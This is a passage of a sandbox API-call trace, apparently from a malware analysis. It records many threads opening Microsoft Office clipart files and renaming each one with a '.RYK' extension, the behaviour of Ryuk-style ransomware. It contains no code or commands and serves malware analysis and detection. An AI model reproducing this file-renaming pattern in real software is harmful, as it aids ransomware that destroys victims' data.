	[0218.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF", dwFileAttributes=0x80) returned 0
	[0218.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2376
	os_tid = 0x2a8c

	[0218.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF", dwFileAttributes=0x80) returned 0
	[0218.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2377
	os_tid = 0x2a90

	[0219.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF", dwFileAttributes=0x80) returned 0
	[0219.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2395
	os_tid = 0x2ad8

	[0219.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF", dwFileAttributes=0x80) returned 0
	[0219.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2396
	os_tid = 0x2adc

	[0219.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF", dwFileAttributes=0x80) returned 0
	[0219.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2397
	os_tid = 0x2ae0

	[0219.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF", dwFileAttributes=0x80) returned 0
	[0219.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2398
	os_tid = 0x2ae4

	[0219.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF", dwFileAttributes=0x80) returned 0
	[0219.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2399
	os_tid = 0x2ae8

	[0219.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF", dwFileAttributes=0x80) returned 0
	[0219.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2400
	os_tid = 0x2aec

	[0219.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF", dwFileAttributes=0x80) returned 0
	[0219.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2401
	os_tid = 0x2af0

	[0219.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF", dwFileAttributes=0x80) returned 0
	[0219.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2402
	os_tid = 0x2af4

	[0219.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF", dwFileAttributes=0x80) returned 0
	[0219.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2403
	os_tid = 0x2af8

	[0219.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF", dwFileAttributes=0x80) returned 0
	[0219.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.714] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2404
	os_tid = 0x2afc

	[0219.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF", dwFileAttributes=0x80) returned 0
	[0219.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2426
	os_tid = 0x2b5c

	[0219.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF", dwFileAttributes=0x80) returned 0
	[0219.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2427
	os_tid = 0x2b60

	[0219.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF", dwFileAttributes=0x80) returned 0
	[0219.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2428
	os_tid = 0x2b64

	[0219.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF", dwFileAttributes=0x80) returned 0
	[0219.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.746] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2429
	os_tid = 0x2b68

	[0219.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF", dwFileAttributes=0x80) returned 0
	[0219.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2430
	os_tid = 0x2b6c

	[0219.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF", dwFileAttributes=0x80) returned 0
	[0219.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2431
	os_tid = 0x2b70

	[0219.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG", dwFileAttributes=0x80) returned 0
	[0219.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2432
	os_tid = 0x2b74

	[0219.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG", dwFileAttributes=0x80) returned 0
	[0219.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2433
	os_tid = 0x2b78

	[0219.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG", dwFileAttributes=0x80) returned 0
	[0219.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.752] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2434
	os_tid = 0x2b7c

	[0219.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG", dwFileAttributes=0x80) returned 0
	[0219.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2435
	os_tid = 0x2b80

	[0222.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG", dwFileAttributes=0x80) returned 0
	[0222.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2452
	os_tid = 0x2bc4

	[0222.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG", dwFileAttributes=0x80) returned 0
	[0222.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2453
	os_tid = 0x2bc8

	[0222.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG", dwFileAttributes=0x80) returned 0
	[0222.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2454
	os_tid = 0x2bcc

	[0222.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG", dwFileAttributes=0x80) returned 0
	[0222.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2455
	os_tid = 0x2bd0

